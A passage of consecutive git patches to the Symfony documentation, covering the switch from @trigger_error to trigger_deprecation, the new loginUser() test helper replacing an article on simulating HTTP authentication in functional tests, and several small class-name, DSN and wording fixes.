 contributing/code/conventions.rst  | 20 ++++++++------------
 contributing/code/standards.rst    |  6 +-----
 contributing/community/reviews.rst |  2 +-
 4 files changed, 16 insertions(+), 28 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2af0ce1ae63..5c77c21ce65 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -163,13 +163,9 @@ Trigger Deprecation Notices
 
 Deprecation notices can be triggered by using::
 
-    @trigger_error('Your deprecation message', E_USER_DEPRECATED);
+    trigger_deprecation('vendor-name/package-name', '5.1', 'Your deprecation message');
 
-Without the `@-silencing operator`_, users would need to opt-out from deprecation
-notices. Silencing by default swaps this behavior and allows users to opt-in
-when they are ready to cope with them (by adding a custom error handler like the
-one provided by this bridge). When not silenced, deprecation notices will appear
-in the **Unsilenced** section of the deprecation report.
+Where 5.1 is the version from which the deprecation starts. Note that the deprecation message can use the :phpfunction:`printf` format. In this case, you can pass placeholders as extra arguments after the deprecation message.
 
 Mark Tests as Legacy
 --------------------
@@ -354,14 +350,14 @@ times (order matters)::
         public function testDeprecatedCode()
         {
             // test some code that triggers the following deprecation:
-            // @trigger_error('This "Foo" method is deprecated.', E_USER_DEPRECATED);
-            $this->expectDeprecation('This "%s" method is deprecated');
+            // trigger_deprecation('vendor-name/package-name', '5.1', 'This "Foo" method is deprecated.');
+            $this->expectDeprecation('Since vendor-name/package-name 5.1: This "%s" method is deprecated');
 
             // ...
 
             // test some code that triggers the following deprecation:
-            // @trigger_error('The second argument of the "Bar" method is deprecated.', E_USER_DEPRECATED);
-            $this->expectDeprecation('The second argument of the "%s" method is deprecated.');
+            // trigger_deprecation('vendor-name/package-name', '4.4', 'The second argument of the "Bar" method is deprecated.');
+            $this->expectDeprecation('Since vendor-name/package-name 4.4: The second argument of the "%s" method is deprecated.');
         }
     }
 
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 1d50e40c649..1f517ccc6e9 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -100,32 +100,30 @@ A feature is marked as deprecated by adding a ``@deprecated`` PHPDoc to
 relevant classes, methods, properties, ...::
 
     /**
-     * @deprecated since Symfony 2.8.
+     * @deprecated since Symfony 5.1.
      */
 
 The deprecation message must indicate the version in which the feature was deprecated,
 and whenever possible, how it was replaced::
 
     /**
-     * @deprecated since Symfony 2.8, use Replacement instead.
+     * @deprecated since Symfony 5.1, use Replacement instead.
      */
 
 When the replacement is in another namespace than the deprecated class, its FQCN must be used::
 
     /**
-     * @deprecated since Symfony 2.8, use A\B\Replacement instead.
+     * @deprecated since Symfony 5.1, use A\B\Replacement instead.
      */
 
 A PHP ``E_USER_DEPRECATED`` error must also be triggered to help people with the migration::
 
-    @trigger_error(sprintf('The "%s" class is deprecated since Symfony 2.8, use "%s" instead.', Deprecated::class, Replacement::class), E_USER_DEPRECATED);
+    trigger_deprecation('vendor-name/package-name', '5.1', 'The "%s" class is deprecated since Symfony 5.1, use "%s" instead.', Deprecated::class, Replacement::class);
 
-Without the `@-silencing operator`_, users would need to opt-out from deprecation
-notices. Silencing swaps this behavior and allows users to opt-in when they are
-ready to cope with them (by adding a custom error handler like the one used by
-the Web Debug Toolbar or by the PHPUnit bridge).
+The ``trigger_deprecation`` function internally use the php function :phpfunction:`assert`. This means you should use `zend.assertions` to disable deprecations in production.
 
-When deprecating a whole class the ``trigger_error()`` call should be placed
+
+When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 between the namespace and the use declarations, like in this example from
 `ServiceRouterLoader`_::
 
@@ -133,7 +131,7 @@ between the namespace and the use declarations, like in this example from
 
     use Symfony\Component\Routing\Loader\ContainerLoader;
 
-    @trigger_error(sprintf('The "%s" class is deprecated since Symfony 4.4, use "%s" instead.', ServiceRouterLoader::class, ContainerLoader::class), E_USER_DEPRECATED);
+    trigger_deprecation('symfony/routing', '4.4', 'The "%s" class is deprecated since Symfony 4.4, use "%s" instead.', ServiceRouterLoader::class, ContainerLoader::class);
 
     /**
      * @deprecated since Symfony 4.4, use Symfony\Component\Routing\Loader\ContainerLoader instead.
@@ -182,5 +180,3 @@ of the impacted component::
     * Removed the `Deprecated` class, use `Replacement` instead.
 
 This task is mandatory and must be done in the same pull request.
-
-.. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 586a868aae2..3603faa474e 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -72,7 +72,7 @@ short example containing most features described below::
          */
         public function someDeprecatedMethod()
         {
-            @trigger_error(sprintf('The %s() method is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0. Use Acme\Baz::someMethod() instead.', __METHOD__), E_USER_DEPRECATED);
+            trigger_deprecation('vendor-name/package-name', '5.1', 'The %s() method is deprecated. Use Acme\Baz::someMethod() instead.', __METHOD__);
 
             return Baz::someMethod();
         }
@@ -187,10 +187,6 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Calls to :phpfunction:`trigger_error` with type ``E_USER_DEPRECATED`` must be
-  switched to opt-in via ``@`` operator.
-  Read more at :ref:`contributing-code-conventions-deprecations`;
-
 * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions
   which return or throw something;
 
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index 14d8b71a28d..342ba431201 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -150,7 +150,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
    * Does the code break backward compatibility? If yes, does the PR header say
      so?
    * Does the PR contain deprecations? If yes, does the PR header say so? Does
-     the code contain ``trigger_error()`` statements for all deprecated
+     the code contain ``trigger_deprecation()`` statements for all deprecated
      features?
    * Are all deprecations and backward compatibility breaks documented in the
      latest UPGRADE-X.X.md file? Do those explanations contain "Before"/"After"

From d589089de6e310a15cfa5ef78c30954d9b5f3fb9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 20 Mar 2020 10:57:10 +0100
Subject: [PATCH 0513/7107] reword yaml-lint description

---
 translation/lint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation/lint.rst b/translation/lint.rst
index bcdd42eae9b..d9129a79108 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -35,8 +35,8 @@ The linter results can be exported to JSON using the ``--format`` option:
 
 .. tip::
 
-    The Yaml component provides a stand-alone ``yaml-lint`` binary to lint YAML
-    files without using the entire Symfony console application:
+    The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
+    you to lint YAML files without having to create a console application:
 
     .. code-block:: terminal
 

From 088da024c23cd90183a746e14914f423fc1c0025 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 20 Mar 2020 14:45:35 +0100
Subject: [PATCH 0514/7107] Update messenger.rst

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2665e1fb231..2cda0efe8b4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1049,7 +1049,7 @@ override it in the ``test`` environment to use this transport:
         framework:
             messenger:
                 transports:
-                    async_priority_normal: 'in-memory:///'
+                    async_priority_normal: 'in-memory://'
 
     .. code-block:: xml
 
@@ -1065,7 +1065,7 @@ override it in the ``test`` environment to use this transport:
 
             <framework:config>
                 <framework:messenger>
-                    <framework:transport name="async_priority_normal" dsn="in-memory:///"/>
+                    <framework:transport name="async_priority_normal" dsn="in-memory://"/>
                 </framework:messenger>
             </framework:config>
         </container>
@@ -1077,7 +1077,7 @@ override it in the ``test`` environment to use this transport:
             'messenger' => [
                 'transports' => [
                     'async_priority_normal' => [
-                        'dsn' => 'in-memory:///',
+                        'dsn' => 'in-memory://',
                     ],
                 ],
             ],

From c6509a3e6196077a08b6cfe990d696614ce64ddb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Mar 2020 17:44:35 +0100
Subject: [PATCH 0515/7107] [DI] Auto alias compiler pass is now enabled by
 default

---
 reference/dic_tags.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 3ff4bcac5d3..48e06315969 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -180,10 +180,12 @@ wrapping their names with ``%`` characters).
     sense most of the times to prevent accessing those services directly instead
     of using the generic service alias.
 
-.. note::
+.. versionadded:: 5.1
 
-    You need to manually add the ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass``
-    compiler pass to the container for this feature to work.
+    In Symfony versions prior to 5.1, you needed to manually add the
+    ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass``
+    compiler pass to the container for this feature to work. This compiler pass
+    is now added automatically.
 
 console.command
 ---------------

From f574acb398eafb77ea0d5f9dc2017a90bf5a9111 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Sat, 21 Mar 2020 10:59:52 +0100
Subject: [PATCH 0516/7107] use NotNull instead of NotBlank

---
 reference/constraints/Sequentially.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 573a0a94a8e..a8e7c6be298 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -57,7 +57,7 @@ You can validate each of these constraints sequentially to solve these issues:
              * @var string
              *
              * @Assert\Sequentially({
-             *     @Assert\NotBlank(),
+             *     @Assert\NotNull(),
              *     @Assert\Type("string"),
              *     @Assert\Length(min=10),
              *     @Assert\Regex(Place::ADDRESS_REGEX),
@@ -74,7 +74,7 @@ You can validate each of these constraints sequentially to solve these issues:
             properties:
                 address:
                     - Sequentially:
-                        - NotBlank: ~
+                        - NotNull: ~
                         - Type: string
                         - Length: { min: 10 }
                         - Regex: !php/const App\Localization\Place::ADDRESS_REGEX
@@ -91,7 +91,7 @@ You can validate each of these constraints sequentially to solve these issues:
             <class name="App\Localization\Place">
                 <property name="address">
                     <constraint name="Sequentially">
-                            <constraint name="NotBlank"/>
+                            <constraint name="NotNull"/>
                             <constraint name="Type">string</constraint>
                             <constraint name="Length">
                                 <option name="min">10</option>
@@ -119,7 +119,7 @@ You can validate each of these constraints sequentially to solve these issues:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
-                    new Assert\NotBlank(),
+                    new Assert\NotNull(),
                     new Assert\Type("string"),
                     new Assert\Length(['min' => 10]),
                     new Assert\Regex(self::ADDRESS_REGEX),

From a2846b9f04b371bc3f1f11f87075b2c686799861 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Mar 2020 12:10:47 +0100
Subject: [PATCH 0517/7107] [#13379] Some small cleanups

---
 components/phpunit_bridge.rst     |  9 ++++++---
 contributing/code/conventions.rst | 10 ++++------
 contributing/code/standards.rst   |  2 +-
 3 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 5c77c21ce65..c355062c51b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -161,11 +161,14 @@ each test suite's results in their own section.
 Trigger Deprecation Notices
 ---------------------------
 
-Deprecation notices can be triggered by using::
+Deprecation notices can be triggered by using ``trigger_deprecation`` from
+the ``symfony/deprecation-contracts`` package::
 
-    trigger_deprecation('vendor-name/package-name', '5.1', 'Your deprecation message');
+    // indicates something is deprecated since version 1.3 of vendor-name/packagename
+    trigger_deprecation('vendor-name/package-name', '1.3', 'Your deprecation message');
 
-Where 5.1 is the version from which the deprecation starts. Note that the deprecation message can use the :phpfunction:`printf` format. In this case, you can pass placeholders as extra arguments after the deprecation message.
+    // you can also use printf format (all arguments after the message will be used)
+    trigger_deprecation('...', '1.3', 'Value "%s" is deprecated, use ...  instead.', $value);
 
 Mark Tests as Legacy
 --------------------
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 1f517ccc6e9..1f194437744 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -116,12 +116,10 @@ When the replacement is in another namespace than the deprecated class, its FQCN
      * @deprecated since Symfony 5.1, use A\B\Replacement instead.
      */
 
-A PHP ``E_USER_DEPRECATED`` error must also be triggered to help people with the migration::
-
-    trigger_deprecation('vendor-name/package-name', '5.1', 'The "%s" class is deprecated since Symfony 5.1, use "%s" instead.', Deprecated::class, Replacement::class);
-
-The ``trigger_deprecation`` function internally use the php function :phpfunction:`assert`. This means you should use `zend.assertions` to disable deprecations in production.
+A deprecation must also be triggered to help people with the migration
+(requires the ``symfony/deprecation-contracts`` package)::
 
+    trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class);
 
 When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 between the namespace and the use declarations, like in this example from
@@ -131,7 +129,7 @@ between the namespace and the use declarations, like in this example from
 
     use Symfony\Component\Routing\Loader\ContainerLoader;
 
-    trigger_deprecation('symfony/routing', '4.4', 'The "%s" class is deprecated since Symfony 4.4, use "%s" instead.', ServiceRouterLoader::class, ContainerLoader::class);
+    trigger_deprecation('symfony/routing', '4.4', 'The "%s" class is deprecated, use "%s" instead.', ServiceRouterLoader::class, ContainerLoader::class);
 
     /**
      * @deprecated since Symfony 4.4, use Symfony\Component\Routing\Loader\ContainerLoader instead.
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 3603faa474e..88e015dc961 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -72,7 +72,7 @@ short example containing most features described below::
          */
         public function someDeprecatedMethod()
         {
-            trigger_deprecation('vendor-name/package-name', '5.1', 'The %s() method is deprecated. Use Acme\Baz::someMethod() instead.', __METHOD__);
+            trigger_deprecation('symfony/package-name', '5.1', 'The %s() method is deprecated, use Acme\Baz::someMethod() instead.', __METHOD__);
 
             return Baz::someMethod();
         }

From 2c6d6d4087c8cad7e8518b94512ada0f6c23f76f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 16 Mar 2020 19:41:15 +0100
Subject: [PATCH 0518/7107] Documented KernelBrowser::loginUser()

---
 .doctor-rst.yaml                |   1 +
 _build/redirection_map          |   1 +
 security.rst                    |   2 +
 testing.rst                     |  56 ++++++++++++++
 testing/http_authentication.rst | 130 --------------------------------
 5 files changed, 60 insertions(+), 130 deletions(-)
 delete mode 100644 testing/http_authentication.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 2d698b77c20..d74f53ad9e4 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -85,3 +85,4 @@ whitelist:
         - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
         - "//                  224, 165, 141, 224, 164, 164, 224, 165, 135])"
         - '.. versionadded:: 0.2' # MercureBundle
+        - 'provides a ``loginUser()`` method to simulate logging in in your functional'
diff --git a/_build/redirection_map b/_build/redirection_map
index e446f199ff9..beced7cb3b7 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -480,3 +480,4 @@
 /components/translation/custom_formats https://github.com/symfony/translation
 /components/translation/custom_message_formatter https://github.com/symfony/translation
 /components/notifier https://github.com/symfony/notifier
+/testing/http_authentication /testing
diff --git a/security.rst b/security.rst
index eeec2223388..8b48f431516 100644
--- a/security.rst
+++ b/security.rst
@@ -172,6 +172,8 @@ Now that Symfony knows *how* you want to encode the passwords, you can use the
 ``UserPasswordEncoderInterface`` service to do this before saving your users to
 the database.
 
+.. _user-data-fixture:
+
 For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can
 create dummy database users:
 
diff --git a/testing.rst b/testing.rst
index bd3030df5c8..7f6f18f2261 100644
--- a/testing.rst
+++ b/testing.rst
@@ -567,6 +567,62 @@ command.
     If the information you need to check is available from the profiler, use
     it instead.
 
+Logging in Users (Authentication)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``loginUser()`` method was introduced in Symfony 5.1.
+
+When you want to add functional tests for protected pages, you have to
+first "login" as a user. Reproducing the actual steps - such as
+submitting a login form - make a test very slow. For this reason, Symfony
+provides a ``loginUser()`` method to simulate logging in in your functional
+tests.
+
+Instead of login in with real users, it's recommended to create a user only for
+tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
+to load the testing users only in the test database.
+
+After loading users in your database, use your user repository to fetch
+this user and use
+:method:`$client->loginUser() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser>`
+to simulate a login request::
+
+    // tests/Controller/ProfileControllerTest.php
+    namespace App\Tests\Controller;
+
+    use App\Repository\UserRepository;
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class ProfileControllerTest extends WebTestCase
+    {
+        // ...
+
+        public function testVisitingWhileLoggedIn()
+        {
+            $client = static::createClient();
+            $userRepository = static::$container->get(UserRepository::class);
+
+            // retrieve the test user
+            $testUser = $userRepository->findOneByEmail('john.doe@example.com');
+
+            // simulate $testUser being logged in
+            $client->loginUser($testUser);
+
+            // test e.g. the profile page
+            $client->request('GET', '/profile');
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello John!');
+        }
+    }
+
+You can pass any
+:class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to
+``loginUser()``. This method creates a special
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
+stores in the session of the test client.
+
 Accessing the Profiler Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
deleted file mode 100644
index 33bd113d544..00000000000
--- a/testing/http_authentication.rst
+++ /dev/null
@@ -1,130 +0,0 @@
-.. index::
-   single: Tests; HTTP authentication
-
-How to Simulate HTTP Authentication in a Functional Test
-========================================================
-
-Authenticating requests in functional tests can slow down the entire test suite.
-This could become an issue especially when the tests reproduce the same steps
-that users follow to authenticate, such as submitting a login form or using
-OAuth authentication services.
-
-This article explains the two most popular techniques to avoid these issues and
-create fast tests when using authentication.
-
-Using a Faster Authentication Mechanism Only for Tests
-------------------------------------------------------
-
-When your application is using a ``form_login`` authentication, you can make
-your tests faster by allowing them to use HTTP authentication. This way your
-tests authenticate with the simple and fast HTTP Basic method whilst your real
-users still log in via the normal login form.
-
-The trick is to use the ``http_basic`` authentication in your application
-firewall, but only in the configuration file used by tests:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/security.yaml
-        security:
-            firewalls:
-                # replace 'main' by the name of your own firewall
-                main:
-                    http_basic: ~
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/security.xml -->
-        <security:config>
-            <!-- replace 'main' by the name of your own firewall -->
-            <security:firewall name="main">
-                <security:http-basic/>
-            </security:firewall>
-        </security:config>
-
-    .. code-block:: php
-
-        // config/packages/test/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // replace 'main' by the name of your own firewall
-                'main' => [
-                    'http_basic' => [],
-                ],
-            ],
-        ]);
-
-Tests can now authenticate via HTTP passing the username and password as server
-variables using the second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'PHP_AUTH_USER' => 'username',
-        'PHP_AUTH_PW'   => 'pa$$word',
-    ]);
-
-The username and password can also be passed on a per request basis::
-
-    $client->request('DELETE', '/post/12', [], [], [
-        'PHP_AUTH_USER' => 'username',
-        'PHP_AUTH_PW'   => 'pa$$word',
-    ]);
-
-Creating the Authentication Token
----------------------------------
-
-If your application uses a more advanced authentication mechanism, you can't
-use the previous trick, but it's still possible to make tests faster. The trick
-now is to bypass the authentication process, create the *authentication token*
-yourself and store it in the session.
-
-This technique requires some knowledge of the Security component internals,
-but the following example shows a complete example that you can adapt to your
-needs::
-
-    // tests/Controller/DefaultControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-    use Symfony\Component\BrowserKit\Cookie;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
-
-    class DefaultControllerTest extends WebTestCase
-    {
-        private $client = null;
-
-        public function setUp()
-        {
-            $this->client = static::createClient();
-        }
-
-        public function testSecuredHello()
-        {
-            $this->logIn();
-            $crawler = $this->client->request('GET', '/admin');
-
-            $this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());
-            $this->assertSame('Admin Dashboard', $crawler->filter('h1')->text());
-        }
-
-        private function logIn()
-        {
-            $session = self::$container->get('session');
-
-            $firewallName = 'secure_area';
-            // if you don't define multiple connected firewalls, the context defaults to the firewall name
-            // See https://symfony.com/doc/current/reference/configuration/security.html#firewall-context
-            $firewallContext = 'secured_area';
-
-            // you may need to use a different token class depending on your application.
-            // for example, when using Guard authentication you must instantiate PostAuthenticationGuardToken
-            $token = new UsernamePasswordToken('admin', null, $firewallName, ['ROLE_ADMIN']);
-            $session->set('_security_'.$firewallContext, serialize($token));
-            $session->save();
-
-            $cookie = new Cookie($session->getName(), $session->getId());
-            $this->client->getCookieJar()->set($cookie);
-        }
-    }

From c0ad246c30d5bf9d8164faec4c07b2935b81a98e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 21 Mar 2020 16:28:34 +0100
Subject: [PATCH 0519/7107] Update security.rst

Minor
---
 security.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/security.rst b/security.rst
index e2a5ebbee6f..4bae6a4c95c 100644
--- a/security.rst
+++ b/security.rst
@@ -320,7 +320,7 @@ users to authenticate!
 .. _security-form-login:
 
 3b) Authenticating your Users
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+-----------------------------
 
 Authentication in Symfony can feel a bit "magic" at first. That's because, instead
 of building a route & controller to handle login, you'll activate an
@@ -342,14 +342,12 @@ Guard Authenticators
 ....................
 
 A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are *many* different ways to build an authenticator,
-so here are a few common use-cases:
+authentication process. There are many different ways to build an authenticator;
+here are a few common use-cases:
 
 * :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication`
-
-For the most detailed description of authenticators and how they work, see
-:doc:`/security/guard_authentication`.
+* :doc:`/security/guard_authentication` – see this for the most detailed description of
+authenticators and how they work
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:

From d58070a5b0603cd746e0767b5084b2db9ed44dc1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 21 Mar 2020 16:34:27 +0100
Subject: [PATCH 0520/7107] Update guard_authentication.rst

Remove marketese
---
 security/guard_authentication.rst | 15 ++++++---------
 1 file changed, 6 insertions(+), 9 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 6f050885c96..cd6d4314996 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -4,18 +4,15 @@
 Custom Authentication System with Guard (API Token Example)
 ===========================================================
 
-Whether you need to build a traditional login form, an API token authentication system
-or you need to integrate with some proprietary single-sign-on system, the Guard
-component will be the right choice!
-
 Guard authentication can be used to:
 
-* :doc:`Build a Login Form </security/form_login_setup>`,
-* Create an API token authentication system (done on this page!)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust, but non-Guard solution)
+* :doc:`Build a Login Form </security/form_login_setup>`
+* Create an API token authentication system (see below)
+* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
+* Integrate with some proprietary single-sign-on system
 
-or anything else. In this example, we'll build an API token authentication
-system so we can learn more about Guard in detail.
+and many more. In this example, we'll build an API token authentication
+system, so we can learn more about Guard in detail.
 
 Step 1) Prepare your User Class
 -------------------------------

From b64279ab13b322f71a740a7d18d1e3a6ed9ae602 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 21 Mar 2020 16:39:53 +0100
Subject: [PATCH 0521/7107] Update security.rst

Fixing https://github.com/symfony/symfony-docs/runs/524156891
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 4bae6a4c95c..fe026116936 100644
--- a/security.rst
+++ b/security.rst
@@ -347,7 +347,7 @@ here are a few common use-cases:
 
 * :doc:`/security/form_login_setup`
 * :doc:`/security/guard_authentication` – see this for the most detailed description of
-authenticators and how they work
+   authenticators and how they work
 
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:

From 23eea33415f6fbb7a0c53138fdafa17c525b4f06 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 21 Mar 2020 17:46:08 +0100
Subject: [PATCH 0522/7107] Update security.rst

Fixing https://github.com/symfony/symfony-docs/pull/13388/checks?check_run_id=524167834
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index fe026116936..5aa5000b9cb 100644
--- a/security.rst
+++ b/security.rst
@@ -339,7 +339,7 @@ you to control *every* part of the authentication process (see the next section)
     bundle.
 
 Guard Authenticators
-....................
+~~~~~~~~~~~~~~~~~~~~
 
 A Guard authenticator is a class that gives you *complete* control over your
 authentication process. There are many different ways to build an authenticator;

From 4b5f199b141d9f638d39bfeb42b100cd36edca5a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jo=C3=A3o=20Paulo=20V=20Martins?= <joao.paulo@smartbox.com>
Date: Sun, 22 Mar 2020 15:39:58 +0000
Subject: [PATCH 0523/7107] Typehint of parameter for
 MicrokernelTrait::configureRoutes() should be RoutingConfigurator instead of
 RouteCollectionBuilder according to
 https://github.com/symfony/symfony/blob/master/UPGRADE-5.1.md#frameworkbundle

---
 configuration/micro_kernel_trait.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index a82733eed94..9dd40a7e417 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -24,12 +24,12 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
 
     // index.php
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
     use Symfony\Component\Config\Loader\LoaderInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\RouteCollectionBuilder;
 
     require __DIR__.'/vendor/autoload.php';
 
@@ -52,7 +52,7 @@ Next, create an ``index.php`` file that defines the kernel class and executes it
             ]);
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes)
+        protected function configureRoutes(RoutingConfigurator $routes)
         {
             // kernel is a service that points to this class
             // optional 3rd argument is the route name
@@ -97,9 +97,9 @@ that define your bundles, your services and your routes:
     of what you see in a normal ``config/packages/*`` file). You can also register
     services directly in PHP or load external configuration files (shown below).
 
-**configureRoutes(RouteCollectionBuilder $routes)**
+**configureRoutes(RoutingConfigurator $routes)**
     Your job in this method is to add routes to the application. The
-    ``RouteCollectionBuilder`` has methods that make adding routes in PHP more
+    ``RoutingConfigurator`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
 Advanced Example: Twig, Annotations and the Web Debug Toolbar
@@ -134,10 +134,10 @@ hold the kernel. Now it looks like this::
     namespace App;
 
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Bundle\FrameworkBundle\Routing\Loader\Configurator\RoutingConfigurator;
     use Symfony\Component\Config\Loader\LoaderInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    use Symfony\Component\Routing\RouteCollectionBuilder;
 
     class Kernel extends BaseKernel
     {
@@ -170,7 +170,7 @@ hold the kernel. Now it looks like this::
             }
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes)
+        protected function configureRoutes(RoutingConfigurator $routes)
         {
             // import the WebProfilerRoutes, only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {

From 81e4dbff941809b0e884ec93797c29e41a35c24c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jo=C3=A3o=20Paulo=20V=20Martins?= <joao.paulo@smartbox.com>
Date: Sun, 22 Mar 2020 15:56:14 +0000
Subject: [PATCH 0524/7107] Update class names as amqp messenger was moved to
 another package

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 879aef0cd32..fdaa405371a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -858,10 +858,10 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
 
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
-:class:`Symfony\\Component\\Messenger\\Transport\\AmqpExt\\Connection`.
+:class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.
 
 You can also configure AMQP-specific settings on your message by adding
